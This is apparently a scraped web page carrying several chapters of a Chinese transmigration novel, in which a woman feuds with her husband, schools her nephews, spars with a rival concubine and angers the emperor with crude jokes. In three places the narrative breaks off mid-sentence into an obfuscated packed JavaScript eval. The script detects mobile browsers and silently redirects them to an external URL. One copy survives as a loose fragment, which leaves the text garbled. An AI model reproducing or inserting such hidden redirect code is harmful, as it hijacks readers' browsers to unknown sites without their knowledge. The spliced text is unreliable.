“哟,卖身求荣还说得这般清新脱俗!”我找了个离宋珩最远的位置坐下,看着宋珩故作可怜的模样,强烈鄙夷道。 自从陆誊死后,姜氏群龙无首,又遭到了赵旭重击,分裂为多股势力,其中最大的一股,汇聚在了林思苑身边。 其实李氏的命运跟姜氏差不多,大致分裂成三股势力,由于我跟李越青实在烂泥扶不上墙,权力落到了徐有凤、霍良、长兴王三人手里。 宋珩通过卖身给林思苑,逐渐掌握了这股势力,才算真正有了立足的本钱。 以前他千方百计搭上我,也是想从李氏分一杯羹,可李素基强势精明,怎会让他讨到半点便宜。 听了我的讥讽,宋珩脸不红气不喘,笑容满面地凑到我身边,见我一脸防备,神情悻悻地坐到了我对面的位置上,给我斟了一杯茶。 “娘子教育青哥儿时,都知道没有能力是保不住漂亮娘子。我的娘子这般不凡……若不是为了娘子,为夫何至于委身表妹,答应她那般荒唐的要求。” 我呸,你倒是把责任撇得一干二净! 我按捺住将茶水泼到他脸上的冲动,好言相劝道:“宋珩,我看表妹对你不是没有意思,现在孩子也正是需要父母的时候,你们两个好好过呗。你占完人家的便宜,就想把人家一脚踢开,这天下可没有这样的美事。” “妻离子亡的代价还不够么?”宋珩眼底闪过一丝难过,轻声叹道:“我们渭哥儿今年该八岁了。” 以前我那未出世的孩子打算叫宋渭,可惜与我无缘。 “宋珩,你莫要想太多。说实话,我并不是个喜欢孩子的人。” “娘子又在骗我,谁不知道你对孩子是真的好,先不提家里这几个不省心的玩意儿。”宋珩满脸“你莫要忽悠我”的表情,“以前行医时,无论遇到多无理取闹的孩子,娘子都很耐心,要是大人敢瞎多嘴一句,耽误了娘子的时间,早让人滚蛋了……” “正是因为那是别人的孩子,我才要客气。”我打断他的吹捧,十分直接地点出本质。 宋珩不说话了,深深地看着我,正要张口,我抢先道:“你也不要以为我们尚算年轻还可以再生,我自己的身体我清楚,当年已经伤了身体,生不了了。” “娘子,为夫对不住你。”宋珩面露愧色,我以为他良心发现了,结果话音一转,说出一番令我气炸肺的言论:“不过娘子放心,为夫定会保重好自己,照顾娘子一辈子。等我们老了,我定比娘子多活两天,待处理好娘子的后事,就来陪娘子。 无论是生是死,绝不让娘子孤单!” 宋珩见我拿起茶杯,立刻抱头躲到桌下,撅着屁股,继续大放厥词:“娘子实际比我大了一轮,跟先祖又是好友,难道就不能原谅一次,这个因江湖经验不深而惨遭失足的可怜丈夫吗?” 我:“……” 我前世死得时候还不到十八,成为李素娥后,宋珩都十六岁了,算下来我顶多比宋珩大两岁。 李素娥痴傻的那十年我不承认,虽然李素基一直逼我认账…… …… 我最终还是没有搬离宋家。 因为宋珩威胁道:“娘子去哪里,我就跟去哪里,丈夫和妻子在一起乃天地公理,谁能阻止?” 听听这厚颜无耻的言论,宋珩不要脸的本领已经到了炉火纯青的地步,我终于意识到没有拿到和离书之前,宋珩这块牛皮糖是甩不掉了。 自此我和宋珩杠上了,每次见他就逼他写休书,回回都被宋珩给岔过去了。 当然也跟宋珩忙得脚不沾地,碰不到他几次有关。 宋珩堪堪在家休养了一天,第二日赵旭一道圣旨,把他召到宫里委以重任,将各地多年积压的账簿丢给了他清理。 近两个月来,他每天干到凌晨,通宵不眠也是常有的事儿。 饶是宋珩素来精力充沛,也有些吃不消了。 我刚刚遇见他时,双眼通红,胡子拉碴,衣裳皱巴巴的,沾满了墨迹,看起来憔悴潦倒至极,不像是人们口中皇帝的新进宠臣,倒更像失宠的…… 我趁着他精神恍惚,想骗他把休书写下。 哪知刚提了一句,他立马摆出一副弱不禁风样,捂住胸口,倒在我怀中,“娘子,为夫心口好疼,劳娘子发发善心,给为夫瞧上一瞧……” 我将他拎起来,正欲毒打一顿时,发现他已经靠着我睡着了,叹了口气,对张锦道:“张大哥,劳烦把你家二爷扶回他房里去,让他好好休息一番。” 张锦退后几步,斟酌了一会儿才为难道:“回二奶奶,二爷吩咐过,非十万火急之事,不得搅扰你们二人。” “……”我看了看宋珩发青的眼底,终究没有狠下心将他扔到地上,转过头对胭脂道:“胭脂,去请林姐姐来。” 张锦立刻麻溜地上前扯过宋珩。 …… “姑姑,今天我从宋氏族学退学了。” 我正忧愁如何从宋珩手里取得休书时,李越青又来给我找事,见我一脸愤怒,他赶忙解释道:“姑姑我想过了,新学方面,你教得差不多了。如今我就是在经义方面落得功课比较多,宋氏族学本身就强在新学,经义是学不到太多的。” 徐有凰似乎跟着李越青来的,直接推门而入,劝阻李越青退学的行为:“青哥儿,你先别退学,再等半个月。老爷子说圣上待宋家过于优待,好几人身居高位,易惹人妒忌,有致仕之意,打算到宋氏族学授课。 老爷子乃老派进士出身,本就以精通经义见长,又在吏部多年,你到时跟着老爷子,肯定会大有进步的。” 徐有凰言辞恳切,李越青却不为所动,神色疏离道:“我意已决,不劳徐姑姑操心。” 其实徐有凰待李越青极好,甚至比自己的儿子都上心,只是李越青从来不领情。 个中缘由十分复杂,先从我和徐有凰的老爹说起吧。 我爹和徐家老爹在同一地方当兵,两人都是有本事的人,谁也不服谁,颇有些既生瑜何生亮的意味。 徐老爹参军时间比我爹早,但是运气差一些,升官速度总是慢了我爹一筹,对此他非常不服气。 说来也怪,他二人的经历倒是十分相似:皆出身平民,投身辽东军中,只娶了一个老婆,生的的孩子都他娘的一儿一女。 大概是太过相似了,又都是男人,若是一男一女……咳……所以两人有些相斥。 他们的孽缘,也延续到了我们小辈的头上。 本来我们几个小辈之间是关系极好的,只是李素基和徐家大哥徐有凤俗套地爱上了同一个女人——孙月骄,就是李越青的老娘。 徐家父母年轻时相貌名动边城,生的儿女自然不差。 徐有凰继承了父母的优点,是辽东第二美女,第一名是孙月骄。徐有凤继承了父母些许缺点,但毕竟底子在那里,还是大帅哥一枚。 我老爹和老娘只能说不丑,所以李素基和我顶天就是个中人之姿。 两相对比之下,俗气的孙月骄看中了徐有凤。 可娶妻又不只看相貌,我老爹官大。 势利 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730437|157276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的孙老娘自然瞅中了李素基。 徐有凤虽赢得了孙月骄的心,抱的美人归的却是李素基。 我成为李素娥之时,李素基被肺痨折磨得快死了,孙月骄则跟徐有凤旧情复燃,迫不及待地相约私奔。 可徐有凤怂了。 私奔不成,孙月骄又舔着脸,若无其事地回到了李素基身边。 李家遭逢大难,孙月骄卷款消失后,李越青对她的母子情分彻底消失殆尽,从此闭口不谈孙月骄。 与此同时他还恨上了徐有凤,咬定孙月骄将钱卷到了徐家。 并非李越青凭空怀疑,辽东有个传得沸沸扬扬的旧闻,徐有凤纳了个妖娆妇人,还给他生了个女儿。 为这事儿,据说他的夫人也天天闹得徐家不得安生。 徐有凤夫妻我还算了解。 徐有凤那厮风流花心,他夫人因家世不如徐家的缘故,常常睁只眼闭只眼由着他去。若不是实在过分,那个老实本分的女人万万不会闹得人尽皆知的。 孙老娘过世之前,曾来看过李越青,隐隐约约透漏出孙月骄过得不错,还让李越青这个不要去打扰,以免拖累了孙月骄。 孙老娘无情的话语把李越青气了个仰倒,两人从此老死不相往来。 至今,李越青都没去孙老娘坟前上过半炷香。 李越青对徐有凤恨得牙痒痒,却也无可奈何。 一来没证据,徐有凤从未承认过纳了孙月骄为妾。 二来徐有凤做贼心虚,一直缩在辽东,从来没有踏进京城半步。 李越青便将怒火迁到了徐有凰身上,大概徐有凰心里有鬼,对李越青十分忍让,尽己所能地帮着李越青。 “除了宋氏族学,京中有名望的书院是不会收你的。”徐有凰平静道。 她并非危言耸听,只要孟青平还在礼部,李越青想进好书院就是个大问题,即便进了,恐怕也要受一通折腾。 孟青平是陆誊的得意弟子,还是宋珩那届的状元,博闻强识,涉猎甚广,尤擅策论。 他的策论气势开阔,纵横捭阖,京中人人赞叹不已,争相传诵。因受姜氏叛乱的牵连,丢了官职,一直赋闲在家,平日无事就在自家族学中坐馆,教育孟氏子弟。 他性情诙谐,谈吐幽默,很得学生喜爱,也颇有成效。 京中高门子弟也纷纷慕名前来拜师,据传先帝曾指定孟青平为太孙太傅,如果有太孙的话。 可惜赵旭不争气,一直没生出一儿半女来,他也只能教一教权贵子弟了。 李氏出事后,赵旭复用了许多姜氏旧部,孟青平便又回了礼部,如今已经混到了仪制清吏司郎中,兼国子监祭酒,掌管包括国子监在内的天下所有学府。 天下开书院的,基本无人敢开罪于他。 当年李素基逼得林思苑上吊,李越青有样学样,常常怼得林思苑下不了台。 孟青平疯狂爱慕林思苑,连她的替身都爱得小心翼翼,正愁找不到机会给女神出气…… 我瞄了一眼李越青,心道:“你小子现在体会到得罪女神的后果了!” 不过李越青好容易有了好学之心,总归值得鼓励的。 既然他不喜欢宋家,我也不想与宋家牵扯过深,将李越青扯到身后,对徐有凰道谢:“多谢有凰,你费心了。越青的进学问题,我另有打算,你毋须担心。” “莫非,你要送越青去……”徐有凰就跟我肚子的蛔虫一般,顿时猜出我的打算,我痛快承认:“没错,我要把越青送到范夫子那里去。” 23. 第二十三章 林思薇 范夫子是个极有造诣的大儒,善于因材施教,风评也极好。 由于性格刚直,据说后面还有赵旭站台,倒也不怕孟青平。 只是范夫子教育弟子的方式,也颇为让人诟病。 因为他实行的是——淘汰制。 范夫子每三年会招收五十来个资质绝佳或者家财万贯的学生,然后不定时、不定数地将学生赶出书院,最后留下数个学生成为关门弟子。 即便成为了关门弟子,也有可能被逐出师门,冷酷十足。 唯一的一点儿人情味,大概就是他要踢走你时,会客客气气地请你去他家吃饭。 饭菜皆是由他夫人亲手准备。 想来味道还是不错的,因为学生们去时如丧考妣,吃了饭后,悲痛大大减少,像死了兄弟…… 范夫子迄今为止收了四届学子,两百名学生,可他所承认的弟子,屈指可数,仅有三十人。 徐有凰见我心意已决,目光转到李越青脸上:“青哥儿,我了解你,对喜欢的事物向来舍得花心思,可厌恶的东西从来不肯下功夫,何况范夫子严苛,你未必吃得了那个苦。” 李越青基础差,虽说能靠钱进去,可范夫子踢人也是毫不脚软啊,定是头批出局。 徐有凰说得委婉,显然口下留情了。 李越青绷着脸不开口,想来对自己斤两有数。 我赶忙打圆场:“还是让他去试一试,不成的话,到时再说。” “娘,我也想去范夫子那里读书。”徐有凰刚想继续劝说,宋沛从门后探出半个脑袋,见我们诧异地望向他,脸色涨得通红,呐呐道。 徐有凰瞥了他一眼,冷声道:“你爷爷素来喜欢你,跟着你爷爷学便是,何况以你的资质,去了也不过浪费银钱罢了。” 比起李越青,她对宋沛显然刻薄多了。 我横了徐有凰两眼,示意她嘴上积德,然后将宋沛拉了进来,问他理由。 宋沛抬起头来,一双眼睛如小鹿般惊惶,看见我鼓励的目光,似是有了勇气,大声道:“我想和越青表哥一起读书。” 李越青脾气古怪,对他多有不耐,可不知何故,宋沛依旧信服他,像个小尾巴似的,总是追在他屁股后面。 唉,可怜的孩子,不会是患上斯得哥尔摩综合征吧! …… “李娘子,你们新学之人向来对儒学有偏见,为何舍得送令侄到老夫这里来?” 我捧着银票向范夫子表明来意后,范夫子捋着胡子问道。 我只知道“学而时习之……”几句名言,其余一概不知,主要总有人以“身体发肤受之父母不可损也”,攻击新医解剖尸体的行为,因此李氏跟大儒们打了好些嘴仗。 姜氏也罕见地支持起我们,炮轰儒家主张过时…… “因为科举要考。”我实话实说。 “李娘子果然如传闻般喜欢快言快语!” 范夫子哈哈大笑,瞄了眼银票厚度,爽快地同意收下李越青和宋沛,最后问道:“李娘子觉得新学和儒学孰优孰劣?” 我想了想道:“毕竟我是研究新学的,我的评价不客观。但天下新学之风日盛,想必新学有可取之处。” …… 时光如白马匆匆过隙,晃眼间李越青和宋沛二人在范夫子那里上课快半月了,他们自觉受益匪浅,虽然时常包揽倒数一二名…… 由于不想看到宋珩一家三口,我自告奋勇来接送李越青和宋沛,听说他二人有了些许进步,打算带他们去吃顿好的。 不过刚踏出书院,又偶遇了孟青平的贵妾——林思薇。 看着她那张熟悉的脸,我不禁再次感叹:这张脸是批发的嘛,怎么这么多同款! 当年因家中变故牵连,流落司教坊,后来因为像林思苑,被孟青平赎回府中,脱离了火坑,成了良家子。 她是脱离了火坑,摇身一变,却成宁慈的火坑,仗着孟青平宠爱,时常在孟家作妖,闹得家宅不宁。 孟青平和宁慈本就岌岌可危的婚姻,更加摇摇欲坠。 有回她说孟凝将她推了到池塘里,致她流产。 孟凝是孟青平与宁慈多年来唯一的孩子。 我到孟家的时候,孟青平正在责骂孟凝:“我亲眼所见,还说不是你,我孟青平怎么会有你这样敢做不敢当的女儿!” 面对孟青平的熊熊怒火,小姑娘一点儿也不怂,扬起脑袋道:“我没推,孟青平你别想冤枉我!” 我心中暗赞:好样的,不愧是宁慈的女儿。 孟青平更愤怒了,扬起手要打孟凝。 “有话好好说。”我见势不妙,冲上去将孟凝护在怀中。 “李素娥,你让开!”孟青平不依不饶,沉着脸道:“我孟家还轮不到你来作威作福!” 由于林思苑,他一向看我不爽,见了我从来都是阴着一张脸。 我也一直觉得孟青平跟宋珩是一丘之貉,不怎么瞧得起他。 听了他的冷嘲热讽,我也不客气了:“孟家书香翰墨之族,明理知是非的人家,没想到也出了你这号不分青红皂白的人物!” 孟青平嗤笑:“李素娥,你少在这里胡搅蛮缠,我亲眼看见这孽女将薇薇推入湖中的!” “素娥姑姑,我没推,他们两个串通一气,故意冤枉我,想陷害娘亲。”孟凝又气又急,朝孟青平不住踢去。 “凝姐儿是个好孩子,姑姑知道你是冤枉的。”我赶忙按住她,轻拍她的背部,察觉怀中的孟凝渐渐安静下来,轻声安慰道:“别怕,姑姑会还你清白的。” “呜呜呜~” 面对凶神恶煞的孟青平,孟凝一直倔强得像个小大人,没有掉过一滴泪,现在却抱着我的脖子哭得稀里哗啦。 “还在狡辩!”孟青平见了,口气依旧凶恶,只是刚刚那种要随时冲上来暴打孟凝的气势,弱了不少。 孟青平其实对孟凝期望颇深,平时也多有溺爱。 要不然,孟凝也不敢直呼其名。 孟凝像是感受到了孟青平态度的变化,哭得更厉害了。 我不禁觉得好笑,到底是孟青平的孩子,这吃软不吃硬的性子完全随了他。 孟青平彻底没招了,满腹怒气化成一声长叹:“可怜我那未出世的孩儿啊。” “眼睛看到的未必就是真相。别的我不敢打包票,但你那小妾——绝对不可能流产的!”我顿了顿,“她以前生孩子伤过身体,不可能怀孕的。” 毕竟为她诊断的时候,我的金手指还在呢! 孟青平逮着机会就嘲讽我是庸医之流,如今听我这般说,居然没有任何怀疑,阴沉着脸跑去找林思薇算账去了。 自那以后,我跟林思薇结下仇怨,每次她见了我,便咬牙切齿。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730438|157276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 还听说她不服气我说她难以有孕,喝补药、试偏方、求菩萨试了个遍,果真没用。 多年过去了,她似乎也歇了生孩子的心思,心情也变得平和许多,见了我还会凑上来打个招呼。 “李娘子,今个儿又碰上你了。”林思薇有些讨好地朝我走来。 说来也巧,这半个月我遇见她的频率很高,每次来接李越青和宋沛总是能撞见她。 鉴于之前的过节,我怀疑她不安好心,将两个孩子往身后一拉,警惕地望向她。 林思薇丝毫不介意我的态度,自顾自地走上来,目光越过我,投向我身后,满面热切:“两位公子都这么大了。” 李越青上前一步,抓住伸向他们的手,邪气一笑:“林小娘风采依旧。” 林思薇本就跟林思苑七分相似,容貌自然上乘,但又比林思薇多了一份儿娇滴滴的女人味,行动间自有一股柔情小意。 我眼疾手快将李越青的手打掉,横了他一眼后,冷冷地看向林思薇:“还请林娘子自重。” 林思薇悻悻地收回手,抚了抚鬓角:“前段时间,李娘子不也对着范夫子两个儿子又摸又捏的么,我只是看两个孩子可爱罢了。” 我不禁腹诽:范夫子的两个孩子才多大,李越青可都十七了,又偏生喜欢年龄大的。何况你那长相心里没点儿数嘛! 李越青早熟得厉害,以致于我常常担心今后他会早衰…… 林思薇见我防备得深,似是想明白了什么似的,目光在李越青脸上转了一圈,捂嘴娇笑道:“越哥儿,嘴还是这般甜,我与你姑姑平辈亲戚,你和沛哥儿叫我一声林姨便是。” 说完,她微微躬身,亲昵地摸了摸宋沛的脸。 宋沛躲开了她的手,后退一步,板正地拱手行礼道:“见过林姨。” 林思薇尴尬地收回手,嘴角微抿,笑得有些勉强。 看着她黯然的神色,不知为何我心里突然想起了李越青的话:姑姑,你发觉了吗?那个宋沣跟沛哥儿小时候一模一样,同父同母的兄弟都没有这么像…… 这时宋沛过来拉住我的胳膊,仰头望着我:“娘,我今天想吃梦归楼的水晶肘子。” 我愣了愣,继而一笑说好。 “弟妹。” 一道低沉的声音从身后传来,我们回头看去,待看清来者的样貌后,林思薇先一步惊呼:“大表哥!” 来者正是宋琛,一如既往的神情端肃,可能最近比较忙,面色暗沉,瞧着颇为憔悴。 看来受折磨的不止宋珩,连宋琛也未曾逃过赵旭的毒手…… 宋琛冲我和李越青微微颔首,目光转向宋沛时,神色缓和下来,拍了拍他的肩膀:“你长高了。” 宋沛似是对他的亲近有些不适应,后退了两步。 宋琛也不在意,神色自若地将手放下,大概他听到我们的对话,从袖中摸出一块令牌,递给我,“梦归楼近来生意火爆,现在天色不早了,恐怕排不到位置,你们带着这个去,掌柜自会安排。” 我不客气地接下来,一个父亲的心意,自然不能辜负。 离开时,听到宋琛叫住了林思薇。 我回过头,见到林思薇还痴痴望着宋沛的背影,撞见我的眼神,她心虚地看了宋琛一眼,赶忙收回了目光。 我看看宋沛,似乎一无所觉的样子,一声不吭地往前走。 24. 第二十四章 再遇 来到梦归楼后,果然人员爆满,我亮出宋琛给的令牌后,掌柜立刻给我们安排了个二楼临窗位置。 整个二楼是全部相通,用无数小屏风,隔成一个个雅间儿,屏风儿很薄,透过其中,能隐约瞧见隔壁的身影动作,声音稍大些便清晰可闻,大概图个热闹。 因刚才的变故,我们三个有些食不知味,突然我正对面方向的屏风后边传来一阵阵猥琐笑声,开始还没注意,后来声音越来越大,想听不到也难。 “烟花女子就是水性杨花。” “不水……” 这帮玩意儿正污言秽语得起劲,有人听不下去了,斜左方屏风后,一个清脆的女声响起,怒骂:“我呸,你们这帮下流胚子,大庭广众之下,口无遮拦……” 我支着耳朵听了一会儿,大概知晓了来龙去脉。 斜左方屏风后有个女子名为冬霜,似是个从良的花魁,这帮下流胚子们曾经追求不成,故意羞辱于她。 “本少爷好容易把人砸成花魁,手还没摸着,结果跟个穷书生跑了……” “戏子无义,婊/子无情,赵兄看开些。” 李越青放下筷子,从座位起身,将耳朵贴到屏风上,听得嘿嘿直笑。 宋沛虽小,却也有十二岁了,也是面红耳赤。 我担心这帮下流胚子教坏他俩,正要结账走人,哪知那帮人突然道:“倚翠街出了个林思薇,这烟花之地的女子便心生侥幸,以为人人都是孟青平那样的痴情种……” “殊不知烟花女子即便从良,她的儿子一辈子也不能考科举,只能一辈子操持贱业……” “怪不得孟青平至今只有一个女儿啊,估计嫌弃林思薇出身,不让她生……” 随着下流胚子们你一言我一语,宋沛面上的血色层层地褪去。 听到冬霜哑口无言了,下流胚子们更来劲了,一人一句将冬霜挤兑说不出话来,还编了些段子继续臊她。 “前些日子,有个烟花妇人报案,说她将钱放在肚兜里,在庙会上,被一英俊男子偷走了……” “哟哟,肚兜!”有人捧哏。 我听不下去了,敲了敲了屏风:“差不多得了,一群大男人何必跟个弱女子过不去!” 下流胚子没有搭理我,继续道:“当时我就纳闷,问:这么敏感的地方你就没觉察到,你们猜那烟花妇人怎么说? “赵兄,不要吊人胃口,怎么说啊?” 姓赵的来劲了:“那烟花妇人红着脸道:谁能想到他摸的是钱呢!” 说完,这帮下流胚子发出哄堂大笑。 这个段子咋这么耳熟呢,定是赵嘉仪发扬光大的…… 宋沣面色更白了,直挺挺地站着,如同自虐般,继续听着,拉他也不走。 我见了心里难过,想了想,高声道:“妙啊,让客官的钱在愉快体验中被摸走,梦归楼得好好学一学!” 下流胚子们顿时一静,斜左方向的屏风后响起几声啪啪抚掌声,接着一道极为曼妙的声音传来:“这位娘子好见解,冬霜佩服。” 下流胚子们再接再厉,说起了一群烟花女子澡堂洗澡结果遇火的内涵段子。 我点评:“做事不可能面面俱到,要抓重点……” 最后下流胚子们偃旗息鼓了,好半响没说话,估计还在琢磨段子。 趁此机会,我清清嗓子:“隔壁的一群仁兄不愧饱学之士,讲个荤段子都充满了内涵,我苗春花今天受教了,来而不往非礼也,我给诸位仁兄讲个没有内涵的段子吧!” “话说有有户人家雇了辆马车出远门……” 李越青和宋沛大惊失色,面露痛苦,作干呕状。 显然他们已经明白我要讲啥笑话了,他们前段时间学习努力,昏昏欲睡之际,欲要效仿悬梁刺股。 我自然不能让他们伤害自己身体,便讲了这个著名的提神笑话,成效极好。 “这家人的小儿子晕车,欲呕吐,大儿子便给了小儿子一个痰盂让他吐在痰盂里,就出去赶马车了。 我一边讲,一边将外衣解下,将头包得严严实实,只留下两个眼珠子,任谁也认不出我来! 这帮下流胚子一口一个孟青平,想来也是不好惹的,跑为上策。 李越青见了恍然大悟,知道我要跑路了,连忙拉着宋沛学着我的样子,脱下学子服,将脸裹得严严实实。 “突然大儿子听到一阵响动,打开帘子一看,家人在呕吐,大惊:问道发生何事?” 下流胚子中有人不屑道:“不就是见小儿子吐了,被恶心到了么?” 我们三人猫着腰,轻手轻脚离开位置,做冲刺状。 “家人都说不出话来,一旁小儿子虚弱地解释道:刚刚痰盂吐满了,我想着没地可吐了,我又把它给喝掉了。” 说道这里,我还绘声绘色地呲溜一声…… 屏风后立刻传来女子的干呕声,仿佛会传染似的,四处传来此起比伏的呕吐声,满耳皆是盘杯筷子落地声。 我们趁此机会,飞似地溜出了梦归楼。 刚跑到门外,二楼窗边伸出数个脑袋,我无意中瞅了瞅,个个身着华服,生得十分俊秀,只是这群美男子,面色青白,气急败坏地捶着窗户,对着我大喊大叫,破坏了他们的好相貌,十分煞风景。 “兀那妇人你完了!” 要不我跑什么! “有本事别跑!” 不跑?等着你们捶一顿么! “鬼鬼祟祟藏头遮面作甚!” 挡脸,果然很重要! “留下姓名!” 留给他们的只有三根竖起的中指。 这一带我熟得很,拣了条小巷子,确定不会进入死胡同里,立刻带着李越青和宋沛钻了进去。 只是刚刚跑到巷尾,一群相貌英俊的黑衣小哥们将转角堵得严严实实,打头的佩刀小哥更是冷峻不凡,看起来似乎还有些眼熟。 “齐慎。”李越青拉住试图强闯的我,望着佩刀小哥轻声道,见我茫然,替我把外套拢好,低声提醒道:“今年的武状元,上次吃饭的那个。” “李公子好记性,两个多月的一面之缘,没想到你还记得在下。”齐慎见状,冷峻的面容有了些许波动,抬眼看了李越青一眼。 我怎么感觉齐慎话里有话,似乎在内涵我没有记住他…… 齐慎简短地跟李越青寒暄之后,转眼看向我:“李娘子,我家主人有请。” 说完,便让开身来,后面的黑衣的小哥依次侧身让开,现出两个熟悉的身影。 一个身材欣长,容貌却有些阴柔,如同文静仕女一般,正是惨遭我画了同人画本的汪静。 另一个身材高大,浓眉大眼,初夏时节却身披大氅,手里握 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730439|157276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着一枚流光溢彩的红玉,懒懒散散靠在墙壁上的男子,今年有过两面之缘的赵旭。 我膝盖一软,正欲下跪,汪静伸手拦住我:“李娘子,圣上微服私访,你们不必见礼。” 我苦着脸望向汪静,用眼神问他是个什么情况。 汪静姣好的面容露出些许无奈之色,“李娘子,我们刚刚在梦归楼二楼吃饭。” “……”我环视了一眼周围的小哥,果然面上皆有菜色,见了我的目光,个个目光躲闪,一副心有戚戚的样子,大概没有见过我这般生猛的中年妇女。 顿时又想到了那群下流胚子口中的赵公子,我不由地瞟了一眼脸色苍白的赵旭,似乎理解他为何堵我了…… 赵旭察觉我的目光,身体站直,慢悠悠地走到我跟前,毫无血色的唇角微微勾起,声音中气不足,听起来有些虚弱:“李娘子,我们又见面了。说起来我们还真是有缘。 阳春三月,朕好不容易溜出宫外,却惨遭李娘子毒手,看在宋都督面子上,朕无意追究。” 我不由地腹诽:明明是您调戏良家妇女还兼打劫啊,我是正当防卫! “第二日,朕面容有缺,不宜见人,想着出来散散心,又被李娘子指桑骂槐,顺带搭上朕的文武状元,坏了朕的兴致,看在宋卿的份上,再放李娘子一马。” 我忍住翻白眼的冲动:您和您的文武状元,侮辱我的“女鹅儿”,自然要还击! “夏日炎炎,朕胃口不佳,想着梦归楼的菜还算可口,只想好好吃一顿,李娘子却偏偏倒尽了朕的胃口,李娘子你自己说该当何罪?” 我:“……” 听了赵旭的控诉,我也很无奈,也想问问他:您是不是克我啊,为何每次您大发猥琐的时候,都刚好撞到我手上? 赵旭素来直觉敏锐,怕他看出我眼中的不敬之意,我低头看着他的鞋子,搜肠刮肚想该如何狡辩,还没想出来,赵旭虚弱的声音从头顶飘来:“事不过三,李娘子,朕若再放过你,朕的颜面何在?” 我心说:您的荒唐事迹,早传遍天下了,还有啥颜面…… “民妇无心之过,并非有意扫皇上的兴……” 当然我只敢在心里怼他,一面儿辩解,一面儿偷偷打量了皇帝的表情,发现他面色有些僵硬,神情似有不虞,赶紧止住了辩解之词,暗骂自己:跟皇帝讲什么道理! 我的眼神儿也不敢再乱瞟,老老实实道:“民妇有罪,但凭圣上处罚。” “李娘子虽胆大包天,但素来有分寸,想来无心。”赵旭稍显虚弱的声音再次从头顶传来,“既是无心,那便从轻处罚吧!” 我紧绷的心神为之一松,这个荒唐皇帝偶尔还是会讲讲道理的嘛! 至于他前边儿的讽刺话儿,我也假装没听到,能从这喜怒无常的天子手中讨得一条命,也算是我的“福报”了。 “李娘子不是擅长讲笑话嘛,若朕听得开心,今天之事一笔勾销。”我正欲拜谢,结果赵旭凉凉道:“若是不好笑,朕看在素基兄的面上,给李娘子留个全尸。” “圣上,不关我娘的事,是我……唔——”宋沛挣脱李越青的手,冲到我身前,被我一把按在怀里,捂住了嘴,给赵旭戴高帽:“小孩子不懂事,冲撞了您,圣上大人大量,还请勿怪。” 赵旭挑眉,幽幽道:“放心吧,一家人肯定要整整齐齐的。” 25. 第二十五章 讲笑话 我赶紧求饶:“圣上,今日之事,皆因民妇而起,与他们两个孩子无关,求您放过他们!” “十七岁还是孩子?”皇帝怪异地看了眼李越青,把玩着手中的红玉,神色十分不认同:“想当年,朕十八岁就登基处理国事了。” 听着皇帝的意思,宋沛的小命儿恐怕能保住了,李越青还可以抢救一下。 我立刻马屁送上:“圣上您天赋异禀,李越青资质平平,内心只是个长不大的小孩子,哪能跟您比呢!” 赵旭脸上露出几分惆怅之色:“唉,真令人羡慕,朕也想当个长不大的小孩子。” 我:“……” 还没得及接话,赵旭话音一转:“这两个孩子非你亲子,李娘子却能以命相护,也算难得。看在李娘子一片心意,朕答应你,无论你讲得好不好笑,朕都答应你,不追究他们两个。” 我顿时放下心来,安抚住宋沛,试探地问赵旭:“圣上,可容民妇否先交代番遗言?” “准。”赵旭眉头微拧,似乎有不耐之色:“朕的耐心有限,只能说一句。” 仅能讲一句遗言,不能浪费,只能挑最重要的说了。 “家里的银票地契都知道放哪里吧,你们兄弟和胭脂三个平分!” 周围顿时响起阵阵闷笑声,宋沛哭得更厉害了,泪珠大滴大滴地从脸颊滚落,打湿了胸前的衣襟。 李越青这个没良心的,想也不想,顿时拒绝:“不行,那都是我的钱,我一文都不会给他两,除非胭脂答应嫁给我。” 我:“……” 为了不至于死不瞑目,我将肚子里的“存货”全部倒了出来。 可能文化差异,赵旭的神色一直没有变过,兴致缺缺的样子。 眼见小命不保,我心里焦急,电石火光之间,似乎想到了什么,目光灼灼地看向赵旭,委婉问道:“圣上,敢问刚刚梦归楼的赵公子可是宗室?” 赵旭显然被我问了个措手不及,愣愣道:“没错,他是安顺王世子,朕的堂弟。” 果然,赵旭跟那群下流胚子们是一伙的,老是讲一些低俗段子,虽然可能有故意惹那冬霜的意思,但也足见赵旭的偏好。 不然一时之间,如何凑得出这么多的低俗段子。 我顿时有了主意,祭出了“污妖王”费天王的终极大招——“嘿嘿嘿”。 大约绝境激发了潜力,我发挥了费大师的百分之百功力,讲得那个绘声绘色,整个巷子里一片寂静,连呼吸都几不可闻,只残留着几声“嘿嘿嘿”的回音…… 赵旭全程木着脸,待我话音落后,深吸一口气,拇指和中指摁住两边的太阳穴,手背挡住了他大半个脸,只能看见个下巴。 